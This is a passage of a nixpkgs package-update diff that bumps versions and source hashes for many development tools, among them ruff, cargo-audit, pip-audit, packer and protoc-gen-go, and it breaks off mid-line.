"0aldaz5aapngchgdr7dax9jw5wy7k7hmjgjpfgfv1wfif27jlkqm"; }) (fetchNuGet { pname = "Microsoft.IO.Redist"; version = "6.0.0"; sha256 = "17d02106ksijzcnh03h8qaijs77xsba5l50chng6gb8nwi7wrbd5"; }) (fetchNuGet { pname = "Microsoft.NET.StringTools"; version = "17.3.2"; sha256 = "1sg1wr7lza5c0xc4cncqr9fbsr30jlzrd1kwszr9744pfqfk1jj3"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "6.0.26"; sha256 = "19y6c6v20bgf7x7rrh4rx9y7s5fy8vp5m4j9b6gi1wp4rpb5mza4"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "6.0.26"; sha256 = "0p7hhidaa3mnyiwnsijwy8578v843x8hh99255s69qwwyld6falv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-arm64"; version = "6.0.26"; sha256 = "1mq11xsv9g1vsasp6k80y7xlvwi9hrpk5dgm773fvy8538s01gfv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-x64"; version = "6.0.26"; sha256 = "1chac9b4424ihrrnlzvc7qz6j4ymfjyv4kzyazzzw19yhymdkh2s"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "6.0.26"; sha256 = "12gb52dhg5h9hgnyqh1zgj2w46paxv2pfh33pphl9ajhrdr7hlsb"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "6.0.26"; sha256 = "164hfrwqz5dxcbb441lridk4mzcqmarb0b7ckgvqhsvpawyjw88v"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "6.0.26"; sha256 = "0islayddpnflviqpbq4djc4f3v9nhsa2y76k5x6il3csq5vdw2hq"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-arm64"; version = "6.0.26"; sha256 = "1acn5zw1pxzmcg3c0pbf9hal36fbdh9mvbsiwra7simrk7hzqpdc"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-x64"; version = "6.0.26"; sha256 = "00f9l9dkdz0zv5csaw8fkm6s8ckrj5n9k3ygz12daa22l3bcn6ii"; }) (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "1.1.0"; sha256 = "08vh1r12g6ykjygq5d3vq09zylgb84l63k49jc4v8faw9g93iqqm"; }) (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "5.0.0"; sha256 = "0mwpwdflidzgzfx2dlpkvvnkgkr2ayaf0s80737h4wa35gaj11rc"; }) (fetchNuGet { pname = "Microsoft.NETFramework.ReferenceAssemblies"; version = "1.0.3"; sha256 = "0hc4d4d4358g5192mf8faijwk0bpf9pjwcfd3h85sr67j0zhj6hl"; }) diff --git a/pkgs/development/tools/open-policy-agent/default.nix b/pkgs/development/tools/open-policy-agent/default.nix index ee249c2c7657c..7346b9bea1d9d 100644 --- a/pkgs/development/tools/open-policy-agent/default.nix +++ b/pkgs/development/tools/open-policy-agent/default.nix @@ -11,13 +11,13 @@ assert enableWasmEval && stdenv.isDarwin -> builtins.throw "building with wasm o buildGoModule rec { pname = "open-policy-agent"; - version = "0.61.0"; + version = "0.62.1"; src = fetchFromGitHub { owner = "open-policy-agent"; repo = "opa"; rev = "v${version}"; - hash = "sha256-d0/S9XP/W6Mhs1b9IBzm7kerb6SJ7UzsYS0DnTDVfvY="; + hash = "sha256-iR3/6tqB6jwjy87D6xkKu/N61oenWzU3tEPTYTeEv7c="; }; vendorHash = null; diff --git a/pkgs/development/tools/operator-sdk/default.nix b/pkgs/development/tools/operator-sdk/default.nix index 3ba63d8440b3c..dde9361926fed 100644 --- a/pkgs/development/tools/operator-sdk/default.nix +++ b/pkgs/development/tools/operator-sdk/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "operator-sdk"; - version = "1.31.0"; + version = "1.34.0"; src = fetchFromGitHub { owner = "operator-framework"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-v/7nqZg/lwiK2k92kQWSZCSjEZhTAQHCGBcTfxQX2r0="; + hash = "sha256-7Kkx1XMWoi1P3UA2HlCsqVxr2d5jjs9JxMUvHWs1nlk="; }; - vendorHash = "sha256-geKWTsDLx5drTleTnneg2JIbe5sMS5JUQxTX9Bcm+IQ="; + vendorHash = "sha256-YspUrnSS6d8Ta8dmUjx9A5D/V5Bqm08DQJrRBaIGyQg="; nativeBuildInputs = [ makeWrapper @@ -29,7 +29,6 @@ buildGoModule rec { doCheck = false; subPackages = [ - "cmd/ansible-operator" "cmd/helm-operator" "cmd/operator-sdk" ]; diff --git a/pkgs/development/tools/osslsigncode/default.nix b/pkgs/development/tools/osslsigncode/default.nix index 1df3c26e37744..a581dd04ec488 100644 --- a/pkgs/development/tools/osslsigncode/default.nix +++ b/pkgs/development/tools/osslsigncode/default.nix @@ -10,13 +10,13 @@ stdenv.mkDerivation rec { pname = "osslsigncode"; - version = "2.7"; + version = "2.8"; src = fetchFromGitHub { owner = "mtrojnar"; repo = pname; rev = version; - sha256 = "sha256-TW4/alnAW3vifAKf02RlnpOq1uW7nc+Sjs0g1BfplLk="; + sha256 = "sha256-FcrymV0n/Bv0cS9Dx6sG+ifilBiPfaG+xpQvH9mvylQ="; }; nativeBuildInputs = [ cmake pkg-config python3 ]; diff --git a/pkgs/development/tools/oxlint/default.nix b/pkgs/development/tools/oxlint/default.nix index 54bbc4e27a92a..0d7eb08b41a1f 100644 --- a/pkgs/development/tools/oxlint/default.nix +++ b/pkgs/development/tools/oxlint/default.nix @@ -8,16 +8,16 @@ rustPlatform.buildRustPackage rec { pname = "oxlint"; - version = "0.1.2"; + version = "0.2.12"; src = fetchFromGitHub { owner = "web-infra-dev"; repo = "oxc"; rev = "oxlint_v${version}"; - hash = "sha256-XQDkNfgqjfUSDwC3JgdzCqYT4O14UWGImpk5gVyQKfE="; + hash = "sha256-uI+zzRRsRaO3OpDhhrp4VW7mHjwmOENHkPl5htYJ2dA="; }; - cargoHash = "sha256-pJW7191gUv3Sbp8C2IYxJz2G/nunmBnnKaV+yLX1ZKc="; + cargoHash = "sha256-FV79CORqCXj24CCgGLKew5/tpnjMgVEek0cL2FTFq1A="; buildInputs = [ rust-jemalloc-sys diff --git a/pkgs/development/tools/packer/default.nix b/pkgs/development/tools/packer/default.nix index cbdd003d9216d..529d9b69ed3b0 100644 --- a/pkgs/development/tools/packer/default.nix +++ b/pkgs/development/tools/packer/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "packer"; - version = "1.10.1"; + version = "1.10.2"; src = fetchFromGitHub { owner = "hashicorp"; repo = "packer"; rev = "v${version}"; - hash = "sha256-P7QG4ldOJn83w5XxIzC1dhVmn2e/gcwHBT9cZiQmsbo="; + hash = "sha256-/ViyS7srbOoZJDvDCRoNYWkdCYi3F1Pr0gSSFF0M1ak="; }; - vendorHash = "sha256-KtMK6jZ9c84OVWJC1njgOh1U+wrFo4G6Qt/XfOFvIhE="; + vendorHash = "sha256-JNOlMf+PIONokw5t2xhz1Y+b5VwRDG7BKODl8fHCcJY="; subPackages = [ "." ]; diff --git a/pkgs/development/tools/packet-sd/default.nix b/pkgs/development/tools/packet-sd/default.nix index a1418df2cc3a4..5fcd486119fe6 100644 --- a/pkgs/development/tools/packet-sd/default.nix +++ b/pkgs/development/tools/packet-sd/default.nix @@ -27,6 +27,11 @@ buildGoModule rec { url = "https://github.com/packethost/prometheus-packet-sd/commit/a0afc2a4c3f49dc234d0d2c4901df25b4110b3ec.patch"; hash = "sha256-M5133+r77z21/Ulnbz+9sGbbuY5UpU1+22iY464UVAU="; }) + (fetchpatch2 { + # apply chmod to tmpfile, not the outfile, that does not exist at that point + url = "https://github.com/packethost/prometheus-packet-sd/commit/41977f11b449677497a93456c499916c68e56334.patch"; + hash = "sha256-ffXxbwatKBw7G1fdmsZaT7WX4OmYFMJnueL/kEKc1VE="; + }) ]; vendorHash = null; diff --git a/pkgs/development/tools/parsing/antlr/4.nix b/pkgs/development/tools/parsing/antlr/4.nix index a4b2034852f2f..79db5301add9c 100644 --- a/pkgs/development/tools/parsing/antlr/4.nix +++ b/pkgs/development/tools/parsing/antlr/4.nix @@ -38,7 +38,7 @@ let installPhase = '' mkdir -p "$out"/{share/java,bin} - cp "$src" "$out/share/java/antlr-${version}-complete.jar" + ln -s "$src" "$out/share/java/antlr-${version}-complete.jar" echo "#! ${stdenv.shell}" >> "$out/bin/antlr" echo "'${jre}/bin/java' -cp '$out/share/java/antlr-${version}-complete.jar:$CLASSPATH' -Xmx500M org.antlr.v4.Tool \"\$@\"" >> "$out/bin/antlr" @@ -58,7 +58,7 @@ let passthru = { inherit runtime; - jarLocation = "${antlr}/share/java/antlr-${version}-complete.jar"; + jarLocation = antlr.src; }; meta = with lib; { diff --git a/pkgs/development/tools/parsing/re-flex/default.nix b/pkgs/development/tools/parsing/re-flex/default.nix index 85150a04884b5..645d4e2802885 100644 --- a/pkgs/development/tools/parsing/re-flex/default.nix +++ b/pkgs/development/tools/parsing/re-flex/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "re-flex"; - version = "3.5.1"; + version = "4.0.1"; src = fetchFromGitHub { owner = "Genivia"; repo = "RE-flex"; rev = "v${version}"; - sha256 = "sha256-AP8889MQSAq/CIfZRDOkaqkTrT6EPqHK0bbeLa9v6h8="; + sha256 = "sha256-eQ2+RthvOKCd2Dl6i+9DahJArFfOhPJkn6PI/yuaqos="; }; nativeBuildInputs = [ boost autoconf automake ]; diff --git a/pkgs/development/tools/parsing/spicy/default.nix b/pkgs/development/tools/parsing/spicy/default.nix index 4b6db0adb731f..7476e57bedffa 100644 --- a/pkgs/development/tools/parsing/spicy/default.nix +++ b/pkgs/development/tools/parsing/spicy/default.nix @@ -11,7 +11,7 @@ stdenv.mkDerivation rec { pname = "spicy"; - version = "1.9.0"; + version = "1.10.0"; strictDeps = true; @@ -19,7 +19,7 @@ stdenv.mkDerivation rec { owner = "zeek"; repo = "spicy"; rev = "v${version}"; - hash = "sha256-nVHm0JJsFXGnYlBBlcR5zBS46PZuALle3ik3GMTPYTQ="; + hash = "sha256-LFAeZ1UsnOKaXlnSd/cMfJQk0ZfaNAzSbvSuoKmmOoI="; fetchSubmodules = true; }; diff --git a/pkgs/development/tools/pet/default.nix b/pkgs/development/tools/pet/default.nix index 3b149f2e05770..14f50820f2e5b 100644 --- a/pkgs/development/tools/pet/default.nix +++ b/pkgs/development/tools/pet/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "pet"; - version = "0.6.0"; + version = "0.6.3"; src = fetchFromGitHub { owner = "knqyf263"; repo = "pet"; rev = "v${version}"; - sha256 = "sha256-+SjeQJXWoyNVb9AUB0BlXUJpHYRLhvVjteZypjV0FtE="; + sha256 = "sha256-NnnutXVwyWlPO7yJk8BAZJqtNl8sodDx/ZnX+TL8sWs="; }; - vendorHash = "sha256-A3VHpSJc6NJz8ojg6iSnQlIXbf9m1JCzg9Vnoie0ffU="; + vendorHash = "sha256-ebdPWKNL9i3sEGpfDCXIfOaFQjV5LXohug2qFXeWenk="; ldflags = [ "-s" "-w" "-X=github.com/knqyf263/pet/cmd.version=${version}" diff --git a/pkgs/development/tools/phpactor/default.nix b/pkgs/development/tools/phpactor/default.nix index 5b1b522709d0d..157d293eec9a3 100644 --- a/pkgs/development/tools/phpactor/default.nix +++ b/pkgs/development/tools/phpactor/default.nix @@ -1,19 +1,31 @@ -{ lib, fetchFromGitHub, php }: +{ lib +, fetchFromGitHub +, installShellFiles +, php +}: php.buildComposerProject (finalAttrs: { pname = "phpactor"; - version = "2023.08.06-1"; + version = "2023.12.03.0"; src = fetchFromGitHub { owner = "phpactor"; repo = "phpactor"; rev = finalAttrs.version; - hash = "sha256-NI+CLXlflQ8zQ+0AbjhJFdV6Y2+JGy7XDj0RBJ4YRRg="; + hash = "sha256-zLSGzaUzroWkvFNCj3uA9KdZ3K/EIQOZ7HzV6Ms5/BE="; }; - vendorHash = "sha256-XGVZw6t8CHcv39YHkn/mW6fdl65kFakADLOEWbXfh/g="; + vendorHash = "sha256-0jvWbQubPXDhsXqEp8q5R0Y7rQX3UiccGDF3HDBeh7o="; + + nativeBuildInputs = [ installShellFiles ]; + + postInstall = '' + installShellCompletion --cmd phpactor \ + --bash <($out/bin/phpactor completion bash) + ''; meta = { + changelog = "https://github.com/phpactor/phpactor/releases/tag/${finalAttrs.version}"; description = "Mainly a PHP Language Server"; homepage = "https://github.com/phpactor/phpactor"; license = lib.licenses.mit; diff --git a/pkgs/development/tools/pip-audit/default.nix b/pkgs/development/tools/pip-audit/default.nix index 3b9ea3b2fd8b8..9ff8f51b672d7 100644 --- a/pkgs/development/tools/pip-audit/default.nix +++ b/pkgs/development/tools/pip-audit/default.nix @@ -5,14 +5,14 @@ python3.pkgs.buildPythonApplication rec { pname = "pip-audit"; - version = "2.7.1"; + version = "2.7.2"; format = "pyproject"; src = fetchFromGitHub { owner = "trailofbits"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-3OqF4xgRWzX4m4WW2B+cUuHJpNzf2L033ZXwGH0K4b0="; + hash = "sha256-IlIPLuHGmnmt6FgX+Psw+f6XpkuhP+BZ+e4k4DV8e/U="; }; nativeBuildInputs = with python3.pkgs; [ diff --git a/pkgs/development/tools/poac/default.nix b/pkgs/development/tools/poac/default.nix index e6d98f79cc27c..cb3be4ca9031f 100644 --- a/pkgs/development/tools/poac/default.nix +++ b/pkgs/development/tools/poac/default.nix @@ -93,7 +93,7 @@ stdenv.mkDerivation rec { homepage = "https://poac.pm"; description = "Package Manager for C++"; license = licenses.asl20; - maintainers = with maintainers; [ ken-matsui ]; + maintainers = with maintainers; [ ]; platforms = platforms.unix; # https://github.com/NixOS/nixpkgs/pull/189712#issuecomment-1237791234 broken = (stdenv.isLinux && stdenv.isAarch64) diff --git a/pkgs/development/tools/protoc-gen-connect-go/default.nix b/pkgs/development/tools/protoc-gen-connect-go/default.nix index 6a39509d0c678..60b7199fe19e9 100644 --- a/pkgs/development/tools/protoc-gen-connect-go/default.nix +++ b/pkgs/development/tools/protoc-gen-connect-go/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "protoc-gen-connect-go"; - version = "1.14.0"; + version = "1.15.0"; src = fetchFromGitHub { owner = "connectrpc"; repo = "connect-go"; rev = "refs/tags/v${version}"; - hash = "sha256-lb0kMIcVOZz/8s7exsrv4I7PuF/mIzrZ6TSv4cii1UY="; + hash = "sha256-0jQYZ4T3fE+TEQ/z9RooRqMtDCWHQUWzVCqEak6JKmQ="; }; - vendorHash = "sha256-tiTdGoAuY+DxYvwI1glX7LqgwOI3hCfrgszV81cxkE0="; + vendorHash = "sha256-rQCKj1L0kQccxWCmR0+D4itypZqJ2YuBuzCkdOVLO/U="; subPackages = [ "cmd/protoc-gen-connect-go" diff --git a/pkgs/development/tools/protoc-gen-go/default.nix b/pkgs/development/tools/protoc-gen-go/default.nix index e1e06182672d1..55c0efc62a8a1 100644 --- a/pkgs/development/tools/protoc-gen-go/default.nix +++ b/pkgs/development/tools/protoc-gen-go/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "protoc-gen-go"; - version = "1.32.0"; + version = "1.33.0"; src = fetchFromGitHub { owner = "protocolbuffers"; repo = "protobuf-go"; rev = "v${version}"; - sha256 = "sha256-7i6neRiC0fdn5wnPDp7vCDPlVglzt7tDR0qtG9V/qZA="; + sha256 = "sha256-hA/UweNQSVzMeauIol73p9yYYCvnLcZNTYMrRWk9dBg="; }; vendorHash = "sha256-nGI/Bd6eMEoY0sBwWEtyhFowHVvwLKjbT4yfzFz6Z3E="; diff --git a/pkgs/development/tools/pscale/default.nix b/pkgs/development/tools/pscale/default.nix index de78dcbc1aa55..06a152e8fcb17 100644 --- a/pkgs/development/tools/pscale/default.nix +++ b/pkgs/development/tools/pscale/default.nix @@ -8,13 +8,13 @@ buildGoModule rec { pname = "pscale"; - version = "0.183.0"; + version = "0.185.0"; src = fetchFromGitHub { owner = "planetscale"; repo = "cli"; rev = "v${version}"; - sha256 = "sha256-+zmfMOp+ygVUErggHz+9AkpJ7AjfUBjCRcE4Uqusjz4="; + sha256 = "sha256-UzNfNuOt6ZmzxVx/H8aEmQL6b4PPyNkQzxSqhBtoLT8="; }; vendorHash = "sha256-oENe7OGAW/i5LJbqPn7PJDemdxfSsLwmpER28R6zza4="; diff --git a/pkgs/development/tools/pyenv/default.nix b/pkgs/development/tools/pyenv/default.nix index c033769c85206..d7977618c2d00 100644 --- a/pkgs/development/tools/pyenv/default.nix +++ b/pkgs/development/tools/pyenv/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "pyenv"; - version = "2.3.35"; + version = "2.3.36"; src = fetchFromGitHub { owner = "pyenv"; repo = "pyenv"; rev = "refs/tags/v${version}"; - hash = "sha256-tNTHRSzYCelByEt8bN7BhUBGQCAJfZVjWIYTr0VhbO4="; + hash = "sha256-ZZb7fB9VWwpmW6Qrw65/zLUBqz7E4/Bg3A7DnTt+IbE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/tools/quick-lint-js/default.nix b/pkgs/development/tools/quick-lint-js/default.nix index 794e00f0908b5..0de8496c014e7 100644 --- a/pkgs/development/tools/quick-lint-js/default.nix +++ b/pkgs/development/tools/quick-lint-js/default.nix @@ -1,13 +1,13 @@ { buildPackages, cmake, fetchFromGitHub, lib, ninja, stdenv, testers, quick-lint-js }: let - version = "3.0.0"; + version = "3.1.0"; src = fetchFromGitHub { owner = "quick-lint"; repo = "quick-lint-js"; rev = version; - hash = "sha256-7apzP37GK5ZbCxcWfjK1ID6sYa24uoS1GUH3CBDmcRA="; + hash = "sha256-bgyjpFYGU+uZLVBJ3gpl8UOrRzvz+7qibQD2RllSY38="; }; quick-lint-js-build-tools = buildPackages.stdenv.mkDerivation { diff --git a/pkgs/development/tools/rain/default.nix b/pkgs/development/tools/rain/default.nix index a07f09a060c7a..2f263848e0203 100644 --- a/pkgs/development/tools/rain/default.nix +++ b/pkgs/development/tools/rain/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "rain"; - version = "1.7.5"; + version = "1.8.1"; src = fetchFromGitHub { owner = "aws-cloudformation"; repo = pname; rev = "v${version}"; - sha256 = "sha256-UAh84LM7QbIdxuPGN+lsbjVLd+hk8NXqwDxcRv5FAdY="; + sha256 = "sha256-II+SJkdlmtPuVEK+s9VLAwoe7+jYYXA+6uxAXD5NZHU="; }; - vendorHash = "sha256-kd820Qe/0gN34VnX9Ge4BLeI3yySunJNjOVJXBe/M58="; + vendorHash = "sha256-Ea83gPSq7lReS2KXejY9JlDDEncqS1ouVyIEKbn+VAw="; subPackages = [ "cmd/rain" ]; diff --git a/pkgs/development/tools/rbspy/default.nix b/pkgs/development/tools/rbspy/default.nix index d30c75ea244e3..309f8dbd90659 100644 --- a/pkgs/development/tools/rbspy/default.nix +++ b/pkgs/development/tools/rbspy/default.nix @@ -9,16 +9,16 @@ rustPlatform.buildRustPackage rec { pname = "rbspy"; - version = "0.19.0"; + version = "0.19.1"; src = fetchFromGitHub { owner = "rbspy"; repo = "rbspy"; rev = "refs/tags/v${version}"; - hash = "sha256-OO0EX+r7W8HxPjbER+84m+nagPBM6GlCdB30VQV58mQ="; + hash = "sha256-2+miC7cp6YbeI7uucFlSdlDpPboJOhhBq7/eqXxZVqs="; }; - cargoHash = "sha256-yywh/O4odm+VmM0k/Ft0DEihq6r+xehrpjbYryvVStw="; + cargoHash = "sha256-I+nh6cKniPIG5VYMMsABZNSP/c3DLWswsjenaQBh/X8="; # error: linker `aarch64-linux-gnu-gcc` not found postPatch = '' diff --git a/pkgs/development/tools/reindeer/default.nix b/pkgs/development/tools/reindeer/default.nix index 8124d5d12ccf0..179cf46045f2f 100644 --- a/pkgs/development/tools/reindeer/default.nix +++ b/pkgs/development/tools/reindeer/default.nix @@ -11,16 +11,16 @@ rustPlatform.buildRustPackage rec { pname = "reindeer"; - version = "unstable-2024-02-03"; + version = "unstable-2024-02-20"; src = fetchFromGitHub { owner = "facebookincubator"; repo = pname; - rev = "8dd5629ef78d359fd8d3527157b0375762f22b1e"; - sha256 = "sha256-9WmhP8CyjwohlltfmUn5m29CmBucIH+XrfVjIJX7dS8="; + rev = "40e0e40eac95c859a36b4a0fe8ad8f1363620fb0"; + sha256 = "sha256-bxRxFxoBt1nOXKBaYQcDYV2KB4OAnhJCaQ8iWvve8sw="; }; - cargoSha256 = "sha256-W9YA9OZu71/bSx3EwMeueVQSTExeep+UKGYCD8c4yhc="; + cargoSha256 = "sha256-sQk8HXPb0tnafOdVQrtpZmn0QaoNNxBj63QW7P6tZkU="; nativeBuildInputs = [ pkg-config ]; buildInputs = diff --git a/pkgs/development/tools/renderdoc/default.nix b/pkgs/development/tools/renderdoc/default.nix index 89cbb39a786bf..f98d9ce201c3d 100644 --- a/pkgs/development/tools/renderdoc/default.nix +++ b/pkgs/development/tools/renderdoc/default.nix @@ -32,13 +32,13 @@ let in mkDerivation rec { pname = "renderdoc"; - version = "1.30"; + version = "1.31"; src = fetchFromGitHub { owner = "baldurk"; repo = "renderdoc"; rev = "v${version}"; - sha256 = "sha256-PeFazWlG95lCksyIJOKeHVD7YdDjR0XuPZntkpgQc4A="; + sha256 = "sha256-R9TMkq9bFRyA7oaPPp0zcUf+ovveLCcuxrm7EokyTbc="; }; buildInputs = [ diff --git a/pkgs/development/tools/revive/default.nix b/pkgs/development/tools/revive/default.nix index 359d16ac187c1..5e410ec1dab13 100644 --- a/pkgs/development/tools/revive/default.nix +++ b/pkgs/development/tools/revive/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "revive"; - version = "1.3.6"; + version = "1.3.7"; src = fetchFromGitHub { owner = "mgechev"; repo = pname; rev = "v${version}"; - sha256 = "sha256-0s90Q07D/a0n/SVgMOnjje9pSCWJOzRx5jH+t9th4rs="; + sha256 = "sha256-Z5areIRlCyjUbusAdfL49mm5+J0UryWrS5/9Ttw16Po="; # populate values that require us to use git. By doing this in postFetch we # can delete .git afterwards and maintain better reproducibility of the src. leaveDotGit = true; @@ -18,7 +18,7 @@ buildGoModule rec { rm -rf $out/.git ''; }; - vendorHash = "sha256-rFFgh/BWEejqrhCzCeGWa2AfiNd8dYDvCKvcpXk42nY="; + vendorHash = "sha256-JYZdV6CefCB7/WzeZqUhIsK3PKo9KJG15dinN3S+1xw="; ldflags = [ "-s" @@ -35,7 +35,7 @@ buildGoModule rec { # The following tests fail when built by nix: # - # $ nix log /nix/store/build-revive.1.3.6.drv | grep FAIL + # $ nix log /nix/store/build-revive.1.3.7.drv | grep FAIL # # --- FAIL: TestAll (0.01s) # --- FAIL: TestTimeEqual (0.00s) diff --git a/pkgs/development/tools/rojo/default.nix b/pkgs/development/tools/rojo/default.nix index 1eaeed08316ac..0ed91bd18e3ed 100644 --- a/pkgs/development/tools/rojo/default.nix +++ b/pkgs/development/tools/rojo/default.nix @@ -12,17 +12,17 @@ let in rustPlatform.buildRustPackage rec { pname = "rojo"; - version = "7.4.0"; + version = "7.4.1"; src = fetchFromGitHub { owner = "rojo-rbx"; repo = "rojo"; rev = "v${version}"; - sha256 = "sha256-Eh1G0jX9KXVlMZLl8whxULywadblWml232qvcq4JLJ4="; + hash = "sha256-7fnzNYAbsZW/48C4dwpMXXQy2ZgxbYFSs85wNKGcu/4="; fetchSubmodules = true; }; - cargoSha256 = "sha256-aKfgylY9aspL1JpdYa6hOy/6lQoqO54OhZWqSlMPZ8o="; + cargoHash = "sha256-9kmSNWsZY0OcqaYOCblMwkXTdGXhj7f/2pUDx/L/o2o="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/development/tools/ruff/default.nix b/pkgs/development/tools/ruff/default.nix index 999c8e54baaf2..81cffa4c721de 100644 --- a/pkgs/development/tools/ruff/default.nix +++ b/pkgs/development/tools/ruff/default.nix @@ -1,7 +1,6 @@ { lib , rustPlatform , fetchFromGitHub -, fetchpatch , installShellFiles , stdenv , darwin @@ -11,33 +10,16 @@ rustPlatform.buildRustPackage rec { pname = "ruff"; - version = "0.2.1"; + version = "0.3.1"; src = fetchFromGitHub { owner = "astral-sh"; repo = "ruff"; rev = "refs/tags/v${version}"; - hash = "sha256-VcDDGi6fPGZ75+J7aOSr7S6Gt5bpr0vM2Sk/Utlmf4k="; + hash = "sha256-MuvVpMBEQSOz6vSEhw7fmvAwgUu/7hrbtP8/MsIL57c="; }; - patches = [ - # TODO: remove at next release - (fetchpatch { - name = "filter-out-test-rules-in-ruleselector-json-schema"; - url = "https://github.com/astral-sh/ruff/commit/49c5e715f9c85aa8d0412b2ec9b1dd6f7ae24c5c.patch"; - hash = "sha256-s0Nv5uW3TKfKgro3V3E8Q0c8uOTgOKZQx9CxXge4YWE="; - }) - ]; - - # The following specific substitution is not working as the current directory is `/build/source` and thus has no mention of `ruff` in it. - # https://github.com/astral-sh/ruff/blob/866bea60a5de3c59d2537b0f3a634ae0ac9afd94/crates/ruff/tests/show_settings.rs#L12 - # -> Just patch it so that it expects the actual current directory and not `"[BASEPATH]"`. - postPatch = '' - substituteInPlace crates/ruff/tests/snapshots/show_settings__display_default_settings.snap \ - --replace '"[BASEPATH]"' '"'$PWD'"' - ''; - - cargoHash = "sha256-B7AiDNWEN4i/Lz9yczlRNXczQph52SMa3pcxK2AtO2A="; + cargoHash = "sha256-zC4rXgqT0nw22adtoe51wN8XVbr6drXvqWqyJeqSGYc="; nativeBuildInputs = [ installShellFiles diff --git a/pkgs/development/tools/rust/bindgen/unwrapped.nix b/pkgs/development/tools/rust/bindgen/unwrapped.nix index 859d826180635..036c3b76f19e7 100644 --- a/pkgs/development/tools/rust/bindgen/unwrapped.nix +++ b/pkgs/development/tools/rust/bindgen/unwrapped.nix @@ -7,15 +7,15 @@ let rustfmt-nightly = rustfmt.override { asNightly = true; }; in rustPlatform.buildRustPackage rec { pname = "rust-bindgen-unwrapped"; - version = "0.69.2"; + version = "0.69.4"; src = fetchCrate { pname = "bindgen-cli"; inherit version; - sha256 = "sha256-ytbaXCVNXXBtJet5CBkCNUoISxdFXt/kgb4VVZisUXE="; + sha256 = "sha256-5fwJq1WsL3IEcVUjsyqKdQU8VufbbPk6TglwJg3C1Gw="; }; - cargoHash = "sha256-pnoCq25CrZIAQNkDsokIVVyUYLlg7WY6th17IgeW9x8="; + cargoHash = "sha256-UROy/MyPBKJe+EaiUIDbOYKVbge0C9LsmfnsvOLEONE="; buildInputs = [ clang.cc.lib ]; diff --git a/pkgs/development/tools/rust/cargo-audit/default.nix b/pkgs/development/tools/rust/cargo-audit/default.nix index 0ef6f59b89c8d..c48b34e0d668d 100644 --- a/pkgs/development/tools/rust/cargo-audit/default.nix +++ b/pkgs/development/tools/rust/cargo-audit/default.nix @@ -2,34 +2,34 @@ , rustPlatform , fetchCrate , pkg-config -, libgit2_1_5 , openssl , zlib , stdenv , Security +, SystemConfiguration }: rustPlatform.buildRustPackage rec { pname = "cargo-audit"; - version = "0.18.3"; + version = "0.20.0"; src = fetchCrate { inherit pname version; - hash = "sha256-8KLH6aPZhHtxC4hbMaebv1JiVkZH8p5QqnUXkJrmr4w="; + hash = "sha256-hzy+AVWGWzWYupllrLSryoi4rXPM0+G6WBlRbf03xA8="; }; - cargoHash = "sha256-8MOZvhREm4ch2flstx7J25j8mvwV3uGez5f1xkZ+S7I="; + cargoHash = "sha256-OOkJGdqEHNVbgZZIjQupGaSs4tB52b7kPGLKELUocn4="; nativeBuildInputs = [ pkg-config ]; buildInputs = [ - libgit2_1_5 openssl zlib ] ++ lib.optionals stdenv.isDarwin [ Security + SystemConfiguration ]; buildFeatures = [ "fix" ]; diff --git a/pkgs/development/tools/rust/cargo-chef/default.nix b/pkgs/development/tools/rust/cargo-chef/default.nix index 986c70a16fb24..19591518b4455 100644 --- a/pkgs/development/tools/rust/cargo-chef/default.nix +++ b/pkgs/development/tools/rust/cargo-chef/default.nix @@ -2,14 +2,14 @@ rustPlatform.buildRustPackage rec { pname = "cargo-chef"; - version = "0.1.63"; + version = "0.1.65"; src = fetchCrate { inherit pname version; - sha256 = "sha256-AkkLK1WQFOevKAv+jGd4ofDMmM8l0oJOV9liYJETtIk="; + sha256 = "sha256-3G2mgQDSj+IL6gqdhr3Sov9FHwLA6B+MRazLNF+zKZk="; }; - cargoHash = "sha256-iqAi+V3AZ+OhR/c9FJSUa8Fon16rpD0B2o5zsGown9U="; + cargoHash = "sha256-hWkUvUFYAOqRkoU52bKzEmvNaqASfWLlnWtIuFLMDc8="; meta = with lib; { description = "A cargo-subcommand to speed up Rust Docker builds using Docker layer caching"; diff --git a/pkgs/development/tools/rust/cargo-codspeed/default.nix b/pkgs/development/tools/rust/cargo-codspeed/default.nix index 849aa5a8ca595..23880c2480fc0 100644 --- a/pkgs/development/tools/rust/cargo-codspeed/default.nix +++ b/pkgs/development/tools/rust/cargo-codspeed/default.nix @@ -3,7 +3,7 @@ , fetchFromGitHub , curl , pkg-config -, libgit2_1_5 +, libgit2 , openssl , zlib , stdenv @@ -12,16 +12,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-codspeed"; - version = "2.3.3"; + version = "2.4.0"; src = fetchFromGitHub { owner = "CodSpeedHQ"; repo = "codspeed-rust"; rev = "v${version}"; - hash = "sha256-8wbJFvAXicchxI8FTthCiuYCZ2WA4nMUJTUD4WKG5FI="; + hash = "sha256-pi02Bn5m4JoTtCIZvxkiUVKkjmtCShKqZw+AyhaVdyY="; }; - cargoHash = "sha256-HkFROhjx4bh9QMUlCT1xj3s7aUQxn0ef3FCXoEsYCnY="; + cargoHash = 